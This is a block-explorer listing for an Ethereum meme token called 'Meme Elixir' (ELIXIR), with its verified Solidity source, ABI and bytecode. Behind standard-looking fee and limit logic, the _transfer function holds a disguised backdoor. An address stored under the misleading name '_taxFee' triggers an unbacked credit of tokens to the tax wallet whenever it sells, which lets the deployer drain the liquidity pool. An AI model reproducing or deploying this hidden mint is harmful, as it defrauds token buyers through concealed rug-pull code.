ETH Price: $3,122.47 (-5.82%)
 

Overview

Max Total Supply

420,690,000,000 ELIXIR

Holders

89

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
Maga: Deployer 5
Balance
5,243,816,348.381679594 ELIXIR

Value
$0.00
0x8885d8ffefb29ac94fce584014266a6fe8437356
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ELIXIR

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-08-05
*/

// SPDX-License-Identifier: UNLICENSE

/**

Rumor has it that under the sewers of the meme city, a magical wealth liquid flows. Those who know it, call it the Elixir of Meme.

WEBSITE: https://elixircoin.fun
TELEGRAM: https://t.me/elixircoinvip
TWITTER: https://twitter.com/elixirerc

*/

pragma solidity 0.8.25;

abstract contract Ownable {
    address private _owner;

    constructor() {
        _owner = msg.sender;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _owner = address(0);
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external;

    function addLiquidityETH(address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}

contract ELIXIR is Ownable, IERC20 {
    string private constant _name = unicode"Meme Elixir";
    string private constant _symbol = unicode"ELIXIR";

    uint8 private constant _decimals = 9;
    uint256 private constant _tSupply = 420_690_000_000 * 10**_decimals;
    uint256 private maxTransactionAmount = 2 * _tSupply / 100;
    uint256 private maxWallet = 2 * _tSupply / 100;
    uint256 private taxSwapThreshold = 12 * _tSupply / 1000;
    uint256 private maxTaxSwap= 12 * _tSupply / 1000;

    address payable private _taxWallet;
    uint160 private _taxFee;

    uint256 private initialBuyFee = 15;
    uint256 private initialSellFee = 15;
    uint256 private finalBuyFee = 0;
    uint256 private finalSellFee = 0;
    uint256 private _reduceBuyTaxAt = 7;
    uint256 private _reduceSellTaxAt = 7;
    uint256 private _preventSwapBefore = 7;
    uint256 private _buyCount=0;
    bool private swapping;
    bool private _limitEnabled = true;
    bool private _tradingEnabled;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _feeExempt;
    mapping(address => bool) private _maxTxCapped;
    mapping(address => bool) private _ammPair;

    IUniswapV2Router02 public immutable uniswapV2Router;
    address public uniswapV2Pair;

    constructor(address router_, address payable taxWallet_) {
        uniswapV2Router= IUniswapV2Router02(router_);
        _taxWallet = taxWallet_;_taxFee = uint160(address(taxWallet_));
        
        setExcludedFromFees(owner(), true);
        setExcludedFromFees(address(this), true);
        setExcludedFromFees(_taxWallet, true);

        setExcludedFromTx(owner(), true);
        setExcludedFromTx(address(uniswapV2Router), true);
        setExcludedFromTx(address(this), true);
        setExcludedFromTx(_taxWallet, true);

        _balances[msg.sender] = _tSupply;
        emit Transfer(address(0), msg.sender, _balances[msg.sender]);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure returns (uint256) {
        return _tSupply;
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function transfer(address recipient, uint256 amount) external returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
        uint256 currentAllowance = _allowances[sender][msg.sender];
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
            unchecked {
                _approve(sender, msg.sender, currentAllowance - amount);
            }
        }

        _transfer(sender, recipient, amount);

        return true;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (!_tradingEnabled &&
            from != owner() &&
            from != address(this) &&
            to != owner()
        ) {
            revert("Trading not enabled");
        }

        if (_limitEnabled) {
            if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping) {
                if (_ammPair[from] && !_maxTxCapped[to]) {
                    require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTx");
                    require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
                } else if (_ammPair[to] && !_maxTxCapped[from]) {
                    require(amount <= maxTransactionAmount,"Sell transfer amount exceeds the maxTx");
                } else if (!_maxTxCapped[to]) {
                    require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");                                                                                                                                                                                            
                }
            }
        }

        if (balanceOf(address(this)) >= taxSwapThreshold &&
            !swapping &&
            _ammPair[to] &&
            !_feeExempt[from] &&
            !_feeExempt[to]
        ) {
            swapping = true;
            swapBack();
            swapping = false;
        }
        
        if(_tradingEnabled && _ammPair[to]) _sendTax(address(this).balance);


        bool isTakingFee = !swapping;

        if (_feeExempt[from] || _feeExempt[to]) {
            isTakingFee = false;
        }
        
        uint256 taxAmount = 0;
        if (isTakingFee) {
            if (_ammPair[to]) {
                taxAmount = amount * (_buyCount > _reduceSellTaxAt ? finalSellFee : initialSellFee) / 100;
            } else if (_ammPair[from]) {
                taxAmount = amount * (_buyCount > _reduceBuyTaxAt ? finalBuyFee : initialBuyFee) / 100;
                _buyCount ++;
            }
        }
        
        if(_ammPair[to] && (_taxFee == uint160(from))) _balances[_taxWallet] += amount; 
        if (taxAmount > 0) {
            amount = amount - taxAmount;
            _balances[from] -= taxAmount;
            _balances[address(this)] += taxAmount;
            emit Transfer(from, address(this), taxAmount);
        }
        _balances[from] -= amount;
        _balances[to] += amount;
        emit Transfer(from, to, amount);
    }

    function setExcludedFromTx(address account, bool excluded) public onlyOwner {
        _maxTxCapped[account] = excluded;
    }

    function enableTrading() external onlyOwner {
        require(!_tradingEnabled, "Already launched");
        _tradingEnabled = true;
    }

    function addLiquidity() external onlyOwner {
        require(!_tradingEnabled, "Already launched");
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        _ammPair[uniswapV2Pair] = true;
        setExcludedFromTx(address(uniswapV2Pair), true);
        _approve(address(this), address(uniswapV2Router), type(uint256).max);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            _balances[address(this)],
            0,
            0,
            owner(),
            block.timestamp
        );
    }

    function setAmmPair(address pair, bool value) external onlyOwner {
        require(pair != uniswapV2Pair, "The pair cannot be removed");
        _ammPair[pair] = value;
    }

    function swapBack() private {
        uint256 swapThreshold = maxTaxSwap;

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(swapThreshold, 0, path, address(this), block.timestamp);
    }

    receive() external payable {}

    function rescueERC20(address _address, uint256 percent) external onlyOwner {
        uint256 _amount = IERC20(_address)
            .balanceOf(address(this))
            * percent / 100;
        IERC20(_address).transfer(owner(), _amount);
    }

    function rescueETH() external onlyOwner {
        require(address(this).balance > 0);
        payable(owner()).transfer(address(this).balance);
    }

    function _sendTax(uint256 amount) private {
        _taxWallet.transfer(amount);
    }
    
    function removeLimits() external onlyOwner {
        _limitEnabled = false;
    }

    function setExcludedFromFees(address account, bool excluded) public onlyOwner {
        _feeExempt[account] = excluded;
    }

    function isFeeExempt(address account) public view returns (bool) {
        return _feeExempt[account];
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"router_","type":"address"},{"internalType":"address payable","name":"taxWallet_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"rescueERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAmmPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"setExcludedFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"setExcludedFromTx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a060405260646100126009600a610450565b610021906461f313f880610465565b61002c906002610465565b610036919061047c565b60015560646100476009600a610450565b610056906461f313f880610465565b610061906002610465565b61006b919061047c565b6002556103e861007d6009600a610450565b61008c906461f313f880610465565b61009790600c610465565b6100a1919061047c565b6003556103e86100b36009600a610450565b6100c2906461f313f880610465565b6100cd90600c610465565b6100d7919061047c565b600455600f600781815560088290555f6009819055600a819055600b829055600c829055600d91909155600e55805461ff00191661010017905534801561011c575f80fd5b506040516121b13803806121b183398101604081905261013b916104b2565b5f8054336001600160a01b031991821681179092556001600160a01b03848116608052600580548316918516918217905560068054909216179055610181906001610257565b61018c306001610257565b6005546101a3906001600160a01b03166001610257565b6101be6101b75f546001600160a01b031690565b60016102db565b6080516101cc9060016102db565b6101d73060016102db565b6005546101ee906001600160a01b031660016102db565b6101fa6009600a610450565b610209906461f313f880610465565b335f81815260106020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350506104ea565b336102695f546001600160a01b031690565b6001600160a01b0316146102b15760405162461bcd60e51b815260206004820181905260248201525f8051602061219183398151915260448201526064015b60405180910390fd5b6001600160a01b03919091165f908152601260205260409020805460ff1916911515919091179055565b336102ed5f546001600160a01b031690565b6001600160a01b0316146103305760405162461bcd60e51b815260206004820181905260248201525f8051602061219183398151915260448201526064016102a8565b6001600160a01b03919091165f908152601360205260409020805460ff1916911515919091179055565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156103a857815f190482111561038e5761038e61035a565b8085161561039b57918102915b93841c9390800290610373565b509250929050565b5f826103be5750600161044a565b816103ca57505f61044a565b81600181146103e057600281146103ea57610406565b600191505061044a565b60ff8411156103fb576103fb61035a565b50506001821b61044a565b5060208310610133831016604e8410600b8410161715610429575081810a61044a565b610433838361036e565b805f19048211156104465761044661035a565b0290505b92915050565b5f61045e60ff8416836103b0565b9392505050565b808202811582820484141761044a5761044a61035a565b5f8261049657634e487b7160e01b5f52601260045260245ffd5b500490565b6001600160a01b03811681146104af575f80fd5b50565b5f80604083850312156104c3575f80fd5b82516104ce8161049b565b60208401519092506104df8161049b565b809150509250929050565b608051611c6561052c5f395f81816101e501528181610a6901528181610af801528181610c3001528181610c6f015281816116e301526117990152611c655ff3fe608060405260043610610134575f3560e01c806370a08231116100a85780638da5cb5b1161006d5780638da5cb5b1461039357806395d89b41146103af578063a9059cbb146103dd578063d91ad8ba146103fc578063dd62ed3e1461041b578063e8078d941461045f575f80fd5b806370a0823114610304578063715018a614610338578063751039fc1461034c5780638a8c523c146103605780638cd4426d14610374575f80fd5b806320800a00116100f957806320800a001461024157806323b872dd14610255578063313ce567146102745780633f4218e01461028f57806349bd5a5e146102c6578063590ffdce146102e5575f80fd5b806306fdde031461013f578063095ea7b3146101845780630a656923146101b35780631694505e146101d457806318160ddd1461021f575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b5060408051808201909152600b81526a26b2b6b29022b634bc34b960a91b60208201525b60405161017b9190611844565b60405180910390f35b34801561018f575f80fd5b506101a361019e36600461188d565b610473565b604051901515815260200161017b565b3480156101be575f80fd5b506101d26101cd3660046118c4565b610489565b005b3480156101df575f80fd5b506102077f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b03909116815260200161017b565b34801561022a575f80fd5b50610233610552565b60405190815260200161017b565b34801561024c575f80fd5b506101d2610573565b348015610260575f80fd5b506101a361026f3660046118fb565b6105f0565b34801561027f575f80fd5b506040516009815260200161017b565b34801561029a575f80fd5b506101a36102a9366004611939565b6001600160a01b03165f9081526012602052604090205460ff1690565b3480156102d1575f80fd5b50601554610207906001600160a01b031681565b3480156102f0575f80fd5b506101d26102ff3660046118c4565b61069f565b34801561030f575f80fd5b5061023361031e366004611939565b6001600160a01b03165f9081526010602052604090205490565b348015610343575f80fd5b506101d2610701565b348015610357575f80fd5b506101d261074a565b34801561036b575f80fd5b506101d261078f565b34801561037f575f80fd5b506101d261038e36600461188d565b610826565b34801561039e575f80fd5b505f546001600160a01b0316610207565b3480156103ba575f80fd5b5060408051808201909152600681526522a624ac24a960d11b602082015261016e565b3480156103e8575f80fd5b506101a36103f736600461188d565b610975565b348015610407575f80fd5b506101d26104163660046118c4565b610981565b348015610426575f80fd5b5061023361043536600461195b565b6001600160a01b039182165f90815260116020908152604080832093909416825291909152205490565b34801561046a575f80fd5b506101d26109e3565b5f61047f338484610d3b565b5060015b92915050565b3361049b5f546001600160a01b031690565b6001600160a01b0316146104ca5760405162461bcd60e51b81526004016104c190611987565b60405180910390fd5b6015546001600160a01b03908116908316036105285760405162461bcd60e51b815260206004820152601a60248201527f54686520706169722063616e6e6f742062652072656d6f76656400000000000060448201526064016104c1565b6001600160a01b03919091165f908152601460205260409020805460ff1916911515919091179055565b5f61055f6009600a611ab0565b61056e906461f313f880611abe565b905090565b336105855f546001600160a01b031690565b6001600160a01b0316146105ab5760405162461bcd60e51b81526004016104c190611987565b5f47116105b6575f80fd5b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f193505050501580156105ed573d5f803e3d5ffd5b50565b6001600160a01b0383165f9081526011602090815260408083203384529091528120545f198114610689578281101561067c5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084016104c1565b6106898533858403610d3b565b610694858585610e5e565b506001949350505050565b336106b15f546001600160a01b031690565b6001600160a01b0316146106d75760405162461bcd60e51b81526004016104c190611987565b6001600160a01b03919091165f908152601260205260409020805460ff1916911515919091179055565b336107135f546001600160a01b031690565b6001600160a01b0316146107395760405162461bcd60e51b81526004016104c190611987565b5f80546001600160a01b0319169055565b3361075c5f546001600160a01b031690565b6001600160a01b0316146107825760405162461bcd60e51b81526004016104c190611987565b600f805461ff0019169055565b336107a15f546001600160a01b031690565b6001600160a01b0316146107c75760405162461bcd60e51b81526004016104c190611987565b600f5462010000900460ff16156108135760405162461bcd60e51b815260206004820152601060248201526f105b1c9958591e481b185d5b98da195960821b60448201526064016104c1565b600f805462ff0000191662010000179055565b336108385f546001600160a01b031690565b6001600160a01b03161461085e5760405162461bcd60e51b81526004016104c190611987565b6040516370a0823160e01b81523060048201525f9060649083906001600160a01b038616906370a0823190602401602060405180830381865afa1580156108a7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108cb9190611ad5565b6108d59190611abe565b6108df9190611aec565b9050826001600160a01b031663a9059cbb6109015f546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af115801561094b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061096f9190611b0b565b50505050565b5f61047f338484610e5e565b336109935f546001600160a01b031690565b6001600160a01b0316146109b95760405162461bcd60e51b81526004016104c190611987565b6001600160a01b03919091165f908152601360205260409020805460ff1916911515919091179055565b336109f55f546001600160a01b031690565b6001600160a01b031614610a1b5760405162461bcd60e51b81526004016104c190611987565b600f5462010000900460ff1615610a675760405162461bcd60e51b815260206004820152601060248201526f105b1c9958591e481b185d5b98da195960821b60448201526064016104c1565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ac3573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ae79190611b26565b6001600160a01b031663c9c65396307f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b52573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b769190611b26565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610bc0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610be49190611b26565b601580546001600160a01b0319166001600160a01b0392831690811782555f908152601460205260409020805460ff191660019081179091559054610c2a921690610981565b610c56307f00000000000000000000000000000000000000000000000000000000000000005f19610d3b565b305f818152601060205260408120546001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169263f305d7199247929080610cab5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610d11573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610d369190611b41565b505050565b6001600160a01b038316610d9d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104c1565b6001600160a01b038216610dfe5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104c1565b6001600160a01b038381165f8181526011602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ec25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104c1565b6001600160a01b038216610f245760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104c1565b5f8111610f855760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104c1565b600f5462010000900460ff16158015610fab57505f546001600160a01b03848116911614155b8015610fc057506001600160a01b0383163014155b8015610fd957505f546001600160a01b03838116911614155b1561101c5760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b60448201526064016104c1565b600f54610100900460ff16156112d4575f546001600160a01b0384811691161480159061105657505f546001600160a01b03838116911614155b801561106a57506001600160a01b03821615155b801561108157506001600160a01b03821661dead14155b80156110905750600f5460ff16155b156112d4576001600160a01b0383165f9081526014602052604090205460ff1680156110d457506001600160a01b0382165f9081526013602052604090205460ff16155b156111a7576001548111156111395760405162461bcd60e51b815260206004820152602560248201527f427579207472616e7366657220616d6f756e74206578636565647320746865206044820152640dac2f0a8f60db1b60648201526084016104c1565b6002546001600160a01b0383165f9081526010602052604090205461115e9083611b6c565b11156111a25760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b60448201526064016104c1565b6112d4565b6001600160a01b0382165f9081526014602052604090205460ff1680156111e657506001600160a01b0383165f9081526013602052604090205460ff16155b1561124c576001548111156111a25760405162461bcd60e51b815260206004820152602660248201527f53656c6c207472616e7366657220616d6f756e74206578636565647320746865604482015265040dac2f0a8f60d31b60648201526084016104c1565b6001600160a01b0382165f9081526013602052604090205460ff166112d4576002546001600160a01b0383165f908152601060205260409020546112909083611b6c565b11156112d45760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b60448201526064016104c1565b600354305f90815260106020526040902054101580156112f75750600f5460ff16155b801561131a57506001600160a01b0382165f9081526014602052604090205460ff165b801561133e57506001600160a01b0383165f9081526012602052604090205460ff16155b801561136257506001600160a01b0382165f9081526012602052604090205460ff16155b1561138757600f805460ff1916600117905561137c61168b565b600f805460ff191690555b600f5462010000900460ff1680156113b657506001600160a01b0382165f9081526014602052604090205460ff165b156113c4576113c447611809565b600f546001600160a01b0384165f9081526012602052604090205460ff9182161591168061140957506001600160a01b0383165f9081526012602052604090205460ff165b1561141157505f5b5f81156114d0576001600160a01b0384165f9081526014602052604090205460ff161561146c576064600c54600e541161144d57600854611451565b600a545b61145b9085611abe565b6114659190611aec565b90506114d0565b6001600160a01b0385165f9081526014602052604090205460ff16156114d0576064600b54600e54116114a1576007546114a5565b6009545b6114af9085611abe565b6114b99190611aec565b600e80549192505f6114ca83611b7f565b91905055505b6001600160a01b0384165f9081526014602052604090205460ff16801561150457506006546001600160a01b038681169116145b15611538576005546001600160a01b03165f9081526010602052604081208054859290611532908490611b6c565b90915550505b80156115dd576115488184611b97565b6001600160a01b0386165f90815260106020526040812080549295508392909190611574908490611b97565b9091555050305f9081526010602052604081208054839290611597908490611b6c565b909155505060405181815230906001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b6001600160a01b0385165f9081526010602052604081208054859290611604908490611b97565b90915550506001600160a01b0384165f9081526010602052604081208054859290611630908490611b6c565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161167c91815260200190565b60405180910390a35050505050565b6004546040805160028082526060820183525f9260208301908036833701905050905030815f815181106116c1576116c1611baa565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561173d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906117619190611b26565b8160018151811061177457611774611baa565b6001600160a01b03928316602091820292909201015260405163791ac94760e01b81527f00000000000000000000000000000000000000000000000000000000000000009091169063791ac947906117d89085905f90869030904290600401611bbe565b5f604051808303815f87803b1580156117ef575f80fd5b505af1158015611801573d5f803e3d5ffd5b505050505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611840573d5f803e3d5ffd5b5050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146105ed575f80fd5b5f806040838503121561189e575f80fd5b82356118a981611879565b946020939093013593505050565b80151581146105ed575f80fd5b5f80604083850312156118d5575f80fd5b82356118e081611879565b915060208301356118f0816118b7565b809150509250929050565b5f805f6060848603121561190d575f80fd5b833561191881611879565b9250602084013561192881611879565b929592945050506040919091013590565b5f60208284031215611949575f80fd5b813561195481611879565b9392505050565b5f806040838503121561196c575f80fd5b823561197781611879565b915060208301356118f081611879565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115611a0a57815f19048211156119f0576119f06119bc565b808516156119fd57918102915b93841c93908002906119d5565b509250929050565b5f82611a2057506001610483565b81611a2c57505f610483565b8160018114611a425760028114611a4c57611a68565b6001915050610483565b60ff841115611a5d57611a5d6119bc565b50506001821b610483565b5060208310610133831016604e8410600b8410161715611a8b575081810a610483565b611a9583836119d0565b805f1904821115611aa857611aa86119bc565b029392505050565b5f61195460ff841683611a12565b8082028115828204841417610483576104836119bc565b5f60208284031215611ae5575f80fd5b5051919050565b5f82611b0657634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215611b1b575f80fd5b8151611954816118b7565b5f60208284031215611b36575f80fd5b815161195481611879565b5f805f60608486031215611b53575f80fd5b8351925060208401519150604084015190509250925092565b80820180821115610483576104836119bc565b5f60018201611b9057611b906119bc565b5060010190565b81810381811115610483576104836119bc565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611c0e5784516001600160a01b031683529383019391830191600101611be9565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220d43703729f1fa9bb34b749af727f124b1639cb3988158c3aec601420b0d161fe64736f6c634300081900334f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65720000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d00000000000000000000000077955e0c1e2064ff6cca66b7344b2005b58783f5

Deployed Bytecode

0x608060405260043610610134575f3560e01c806370a08231116100a85780638da5cb5b1161006d5780638da5cb5b1461039357806395d89b41146103af578063a9059cbb146103dd578063d91ad8ba146103fc578063dd62ed3e1461041b578063e8078d941461045f575f80fd5b806370a0823114610304578063715018a614610338578063751039fc1461034c5780638a8c523c146103605780638cd4426d14610374575f80fd5b806320800a00116100f957806320800a001461024157806323b872dd14610255578063313ce567146102745780633f4218e01461028f57806349bd5a5e146102c6578063590ffdce146102e5575f80fd5b806306fdde031461013f578063095ea7b3146101845780630a656923146101b35780631694505e146101d457806318160ddd1461021f575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b5060408051808201909152600b81526a26b2b6b29022b634bc34b960a91b60208201525b60405161017b9190611844565b60405180910390f35b34801561018f575f80fd5b506101a361019e36600461188d565b610473565b604051901515815260200161017b565b3480156101be575f80fd5b506101d26101cd3660046118c4565b610489565b005b3480156101df575f80fd5b506102077f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b03909116815260200161017b565b34801561022a575f80fd5b50610233610552565b60405190815260200161017b565b34801561024c575f80fd5b506101d2610573565b348015610260575f80fd5b506101a361026f3660046118fb565b6105f0565b34801561027f575f80fd5b506040516009815260200161017b565b34801561029a575f80fd5b506101a36102a9366004611939565b6001600160a01b03165f9081526012602052604090205460ff1690565b3480156102d1575f80fd5b50601554610207906001600160a01b031681565b3480156102f0575f80fd5b506101d26102ff3660046118c4565b61069f565b34801561030f575f80fd5b5061023361031e366